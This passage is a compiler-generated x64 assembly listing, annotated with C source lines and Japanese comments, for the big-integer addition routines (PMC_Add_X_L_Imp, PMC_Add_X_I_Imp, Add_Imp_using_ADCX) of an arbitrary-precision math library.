; 491 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_UNIT((__UNIT_TYPE)v);
mov edx, 64 ; 00000040H
movsxd rax, ecx
; 494 : if ((result = AllocateNumber(w, w_bit_count, &w_light_check_code)) != PMC_STATUS_OK)
mov rcx, rbx
sub rdx, rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 204 : return (x >= y ? x : y);
cmp QWORD PTR [rsi+16], rdx
cmovae rdx, QWORD PTR [rsi+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 492 : __UNIT_TYPE w_bit_count = _MAXIMUM_UNIT(u_bit_count, v_bit_count) + 1;
inc rdx
; 494 : if ((result = AllocateNumber(w, w_bit_count, &w_light_check_code)) != PMC_STATUS_OK)
call AllocateNumber
test eax, eax
jne SHORT $LN1@PMC_Add_X_
; 495 : return (result);
; 496 : if ((result = Add_X_1W(u->BLOCK, u->UNIT_WORD_COUNT, (__UNIT_TYPE)v, (*w)->BLOCK, (*w)->BLOCK_COUNT)) != PMC_STATUS_OK)
mov rax, QWORD PTR [rbx]
mov r10, QWORD PTR [rsi+56]
mov r8, QWORD PTR [rsi+8]
mov rdx, QWORD PTR [rax+48]
mov r9, QWORD PTR [rax+56]
; 97 : c = _ADD_UNIT(0, *u_ptr++, v, w_ptr++);
mov rax, QWORD PTR [r10]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add rax, rdi
mov QWORD PTR [r9], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 99 : --w_count;
lea rax, QWORD PTR [rdx-1]
add r9, 8
dec r8
; 100 :
; 101 : // 残りの桁の繰上りを行い復帰する。
; 102 : return (DoCarry(c, u_ptr, u_count, w_ptr, w_count));
mov QWORD PTR [rsp+32], rax
lea rdx, QWORD PTR [r10+8]
call DoCarry
; 495 : return (result);
; 496 : if ((result = Add_X_1W(u->BLOCK, u->UNIT_WORD_COUNT, (__UNIT_TYPE)v, (*w)->BLOCK, (*w)->BLOCK_COUNT)) != PMC_STATUS_OK)
mov rcx, QWORD PTR [rbx]
; 102 : return (DoCarry(c, u_ptr, u_count, w_ptr, w_count));
mov edi, eax
; 495 : return (result);
; 496 : if ((result = Add_X_1W(u->BLOCK, u->UNIT_WORD_COUNT, (__UNIT_TYPE)v, (*w)->BLOCK, (*w)->BLOCK_COUNT)) != PMC_STATUS_OK)
test eax, eax
je SHORT $LN21@PMC_Add_X_
; 497 : {
; 498 : DeallocateNumber(*w);
call DeallocateNumber
; 499 : return (result);
mov eax, edi
; 509 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN21@PMC_Add_X_:
; 500 : }
; 501 : if ((result = CheckBlockLight((*w)->BLOCK, w_light_check_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR w_light_check_code$1[rsp]
mov rcx, QWORD PTR [rcx+56]
call CheckBlockLight
test eax, eax
jne SHORT $LN1@PMC_Add_X_
; 502 : return (result);
; 503 : CommitNumber(*w);
mov rcx, QWORD PTR [rbx]
call CommitNumber
$LN11@PMC_Add_X_:
; 504 : }
; 505 :
; 506 : }
; 507 : }
; 508 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@PMC_Add_X_:
; 509 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
PMC_Add_X_L_Imp ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT PMC_Add_X_I_Imp
_TEXT SEGMENT
nz_check_code$1 = 64
nu$ = 64
v$ = 72
nw$ = 80
PMC_Add_X_I_Imp PROC ; COMDAT
; 301 : {
mov QWORD PTR [rsp+16], rbx
mov QWORD PTR [rsp+24], rsi
push rdi
sub rsp, 48 ; 00000030H
; 302 : PMC_STATUS_CODE result;
; 303 : if (nu->IS_ZERO)
test BYTE PTR [rcx+40], 2
mov rbx, r8
mov edi, edx
mov rsi, rcx
je SHORT $LN2@PMC_Add_X_
; 304 : {
; 305 : // x が 0 である場合
; 306 :
; 307 : if (v == 0)
test edx, edx
jne SHORT $LN4@PMC_Add_X_
; 308 : {
; 309 : // y が 0 である場合
; 310 :
; 311 : // x と y がともに 0 であるので、加算結果の 0 を呼び出し元に返す。
; 312 : *nw = &number_zero;
lea rax, OFFSET FLAT:number_zero
mov QWORD PTR [r8], rax
; 354 : }
; 355 : }
; 356 : return (PMC_STATUS_OK);
xor eax, eax
; 357 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN4@PMC_Add_X_:
; 313 : }
; 314 : else
; 315 : {
; 316 : // y が 0 ではない場合
; 317 :
; 318 : // 加算結果となる y の値を持つ NUMBER_HEADER 構造体を獲得し、呼び出し元へ返す。
; 319 : if ((result = From_I_Imp(v, nw)) != PMC_STATUS_OK)
mov rdx, rbx
mov ecx, edi
call From_I_Imp
test eax, eax
je $LN8@PMC_Add_X_
; 357 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN2@PMC_Add_X_:
; 320 : return (result);
; 321 : }
; 322 : }
; 323 : else
; 324 : {
; 325 : // x が 0 ではない場合
; 326 :
; 327 : if (v == 0)
test edx, edx
jne SHORT $LN7@PMC_Add_X_
; 328 : {
; 329 : // y が 0 である場合
; 330 :
; 331 : // 加算結果となる x の値を持つ NUMBER_HEADER 構造体を獲得し、呼び出し元へ返す。
; 332 : if ((result = DuplicateNumber(nu, nw)) != PMC_STATUS_OK)
mov rdx, rbx
call DuplicateNumber
test eax, eax
je $LN8@PMC_Add_X_
; 357 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN7@PMC_Add_X_:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 601 : _BitScanReverse(&pos, x);
bsr eax, edi
; 607 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 31
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 344 : if ((result = AllocateNumber(nw, z_bit_count, &nz_check_code)) != PMC_STATUS_OK)
lea r8, QWORD PTR nz_check_code$1[rsp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 607 : return (sizeof(x) * 8 - 1 - pos);
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 341 : __UNIT_TYPE y_bit_count = sizeof(v) * 8 - _LZCNT_ALT_32(v);
mov edx, 32 ; 00000020H
movsxd rax, ecx
; 344 : if ((result = AllocateNumber(nw, z_bit_count, &nz_check_code)) != PMC_STATUS_OK)
mov rcx, rbx
sub rdx, rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 204 : return (x >= y ? x : y);
cmp QWORD PTR [rsi+16], rdx
cmovae rdx, QWORD PTR [rsi+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 342 : __UNIT_TYPE z_bit_count = _MAXIMUM_UNIT(x_bit_count, y_bit_count) + 1;
inc rdx
; 344 : if ((result = AllocateNumber(nw, z_bit_count, &nz_check_code)) != PMC_STATUS_OK)
call AllocateNumber
test eax, eax
jne SHORT $LN1@PMC_Add_X_
; 345 : return (result);
; 346 : if ((result = Add_X_1W(nu->BLOCK, nu->UNIT_WORD_COUNT, v, (*nw)->BLOCK, (*nw)->BLOCK_COUNT)) != PMC_STATUS_OK)
mov rax, QWORD PTR [rbx]
mov r11, QWORD PTR [rsi+56]
mov r10, QWORD PTR [rsi+8]
mov r8, QWORD PTR [rax+48]
mov r9, QWORD PTR [rax+56]
; 97 : c = _ADD_UNIT(0, *u_ptr++, v, w_ptr++);
mov rdx, QWORD PTR [r11]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add rdx, rdi
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 99 : --w_count;
lea rax, QWORD PTR [r8-1]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
mov QWORD PTR [r9], rdx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 98 : --u_count;
lea r8, QWORD PTR [r10-1]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 102 : return (DoCarry(c, u_ptr, u_count, w_ptr, w_count));
mov QWORD PTR [rsp+32], rax
add r9, 8
lea rdx, QWORD PTR [r11+8]
call DoCarry
; 345 : return (result);
; 346 : if ((result = Add_X_1W(nu->BLOCK, nu->UNIT_WORD_COUNT, v, (*nw)->BLOCK, (*nw)->BLOCK_COUNT)) != PMC_STATUS_OK)
mov rcx, QWORD PTR [rbx]
; 102 : return (DoCarry(c, u_ptr, u_count, w_ptr, w_count));
mov edi, eax
; 345 : return (result);
; 346 : if ((result = Add_X_1W(nu->BLOCK, nu->UNIT_WORD_COUNT, v, (*nw)->BLOCK, (*nw)->BLOCK_COUNT)) != PMC_STATUS_OK)
test eax, eax
je SHORT $LN11@PMC_Add_X_
; 347 : {
; 348 : DeallocateNumber(*nw);
call DeallocateNumber
; 349 : return (result);
mov eax, edi
; 357 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN11@PMC_Add_X_:
; 350 : }
; 351 : if ((result = CheckBlockLight((*nw)->BLOCK, nz_check_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR nz_check_code$1[rsp]
mov rcx, QWORD PTR [rcx+56]
call CheckBlockLight
test eax, eax
jne SHORT $LN1@PMC_Add_X_
; 352 : return (result);
; 353 : CommitNumber(*nw);
mov rcx, QWORD PTR [rbx]
call CommitNumber
$LN8@PMC_Add_X_:
; 354 : }
; 355 : }
; 356 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@PMC_Add_X_:
; 357 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
PMC_Add_X_I_Imp ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT Add_Imp_using_ADCX
_TEXT SEGMENT
u_buf$ = 64
u_count$ = 72
v_buf$ = 80
v_count$ = 88
w_buf$ = 96
w_count$ = 104
Add_Imp_using_ADCX PROC ; COMDAT
; 224 : {
mov QWORD PTR [rsp+8], rbx
push rdi
sub rsp, 48 ; 00000030H
; 225 : // x のワード長が y のワード長以上であるようにする
; 226 : if (u_count < v_count)
; 227 : {
; 228 : __UNIT_TYPE* t_buf = u_buf;
; 229 : u_buf = v_buf;
; 230 : v_buf = t_buf;
; 231 : __UNIT_TYPE t_count = u_count;
; 232 : u_count = v_count;
; 233 : v_count = t_count;
; 234 : }
; 235 : __UNIT_TYPE* up = u_buf;
cmp rdx, r9
mov rbx, rdx
mov rdi, r9
mov r10, rcx
cmovae rbx, r9
cmovae rdi, rdx
; 236 : __UNIT_TYPE* vp = v_buf;
; 237 : __UNIT_TYPE* wp = w_buf;
mov r9, QWORD PTR w_buf$[rsp]
cmovae r10, r8
mov rdx, r8
; 238 : char c = 0;
; 239 :
; 240 : // まず 32 ワードずつ加算をする。
; 241 : __UNIT_TYPE count = v_count >> 5;
mov r11, rbx
cmovae rdx, rcx
xor cl, cl
shr r11, 5
; 242 : while (count != 0)
test r11, r11
je SHORT $LN3@Add_Imp_us
npad 4
$LL2@Add_Imp_us:
; 243 : {
; 244 : c = _ADD_32WORDS_ADCX(c, up, vp, wp);
mov r8, r10
call _ADD_32WORDS_ADCX
; 245 : up += 32;
add rdx, 256 ; 00000100H
; 246 : vp += 32;
add r10, 256 ; 00000100H
; 247 : wp += 32;
add r9, 256 ; 00000100H
movzx ecx, al
; 248 : --count;
sub r11, 1
jne SHORT $LL2@Add_Imp_us
$LN3@Add_Imp_us:
; 249 : }
; 250 : // この時点で未処理の桁は 32 ワード未満のはず
; 251 :
; 252 : // 未処理の桁が 16 ワード以上あるなら 16 ワード加算を行う。
; 253 : if (v_count & 0x10)
test bl, 16
je SHORT $LN5@Add_Imp_us
; 254 : {
; 255 : c = _ADD_16WORDS_ADCX(c, up, vp, wp);
mov r8, r10
call _ADD_16WORDS_ADCX
; 256 : up += 16;
sub rdx, -128 ; ffffffffffffff80H
; 257 : vp += 16;
sub r10, -128 ; ffffffffffffff80H
; 258 : wp += 16;
sub r9, -128 ; ffffffffffffff80H
movzx ecx, al
$LN5@Add_Imp_us:
; 259 : }
; 260 : // この時点で未処理の桁は 16 ワード未満のはず
; 261 :
; 262 : // 未処理の桁が 8 ワード以上あるなら 8 ワード加算を行う。
; 263 : if (v_count & 0x8)
test bl, 8
je $LN6@Add_Imp_us
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3286 : c = _ADDX_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
add cl, -1
adcx rax, QWORD PTR [r10]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3287 : c = _ADDX_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3288 : c = _ADDX_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [rdx+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3289 : c = _ADDX_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [rdx+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+24]
mov QWORD PTR [r9+24], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3290 : c = _ADDX_UNIT(c, xp[4], yp[4], &zp[4]);
mov rax, QWORD PTR [rdx+32]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+32]
mov QWORD PTR [r9+32], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3291 : c = _ADDX_UNIT(c, xp[5], yp[5], &zp[5]);
mov rax, QWORD PTR [rdx+40]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+40]
mov QWORD PTR [r9+40], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3292 : c = _ADDX_UNIT(c, xp[6], yp[6], &zp[6]);
mov rax, QWORD PTR [rdx+48]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+48]
mov QWORD PTR [r9+48], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3293 : c = _ADDX_UNIT(c, xp[7], yp[7], &zp[7]);
mov rax, QWORD PTR [rdx+56]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+56]
mov QWORD PTR [r9+56], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 266 : up += 8;
add rdx, 64 ; 00000040H
; 267 : vp += 8;
add r10, 64 ; 00000040H
; 268 : wp += 8;
add r9, 64 ; 00000040H
$LN6@Add_Imp_us:
; 269 : }
; 270 : // この時点で未処理の桁は 8 ワード未満のはず
; 271 :
; 272 : // 未処理の桁が 4 ワード以上あるなら 4 ワード加算を行う。
; 273 : if (v_count & 0x4)
test bl, 4
je SHORT $LN7@Add_Imp_us
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3938 : c = _ADDX_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
add cl, -1
adcx rax, QWORD PTR [r10]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3939 : c = _ADDX_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3940 : c = _ADDX_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [rdx+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3941 : c = _ADDX_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [rdx+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+24]
mov QWORD PTR [r9+24], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 276 : up += 4;
add rdx, 32 ; 00000020H
; 277 : vp += 4;
add r10, 32 ; 00000020H
; 278 : wp += 4;
add r9, 32 ; 00000020H
$LN7@Add_Imp_us:
; 279 : }
; 280 : // この時点で未処理の桁は 4 ワード未満のはず
; 281 :
; 282 : // 未処理の桁が 2 ワード以上あるなら 2 ワード加算を行う。
; 283 : if (v_count & 0x2)
test bl, 2
je SHORT $LN8@Add_Imp_us
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 4380 : c = _ADDX_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
add cl, -1
adcx rax, QWORD PTR [r10]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 4381 : c = _ADDX_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r10+8]
mov QWORD PTR [r9+8], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 286 : up += 2;
add rdx, 16
; 287 : vp += 2;
add r10, 16
; 288 : wp += 2;
add r9, 16
$LN8@Add_Imp_us:
; 289 : }
; 290 : // この時点で未処理の桁は 2 ワード未満のはず
; 291 :
; 292 : // 未処理の桁が 1 ワード以上あるなら 1 ワード加算を行う。
; 293 : if (v_count & 0x1)
test bl, 1
je SHORT $LN9@Add_Imp_us
; 294 : c = _ADDX_UNIT(c, *up++, *vp++, wp++);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
add cl, -1
adcx rax, QWORD PTR [r10]
mov QWORD PTR [r9], rax
setb cl
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 294 : c = _ADDX_UNIT(c, *up++, *vp++, wp++);
add rdx, 8
add r9, 8
$LN9@Add_Imp_us:
; 295 :
; 296 : // 残りの桁の繰り上がりを計算し、復帰する。
; 297 : return (DoCarry(c, up, u_count - v_count, wp, w_count - v_count));
mov rax, QWORD PTR w_count$[rsp]
sub rdi, rbx
sub rax, rbx
mov r8, rdi
mov QWORD PTR w_buf$[rsp], rax
; 298 : }
mov rbx, QWORD PTR [rsp+64]
add rsp, 48 ; 00000030H
pop rdi
; 295 :
; 296 : // 残りの桁の繰り上がりを計算し、復帰する。
; 297 : return (DoCarry(c, up, u_count - v_count, wp, w_count - v_count));
jmp DoCarry
Add_Imp_using_ADCX ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
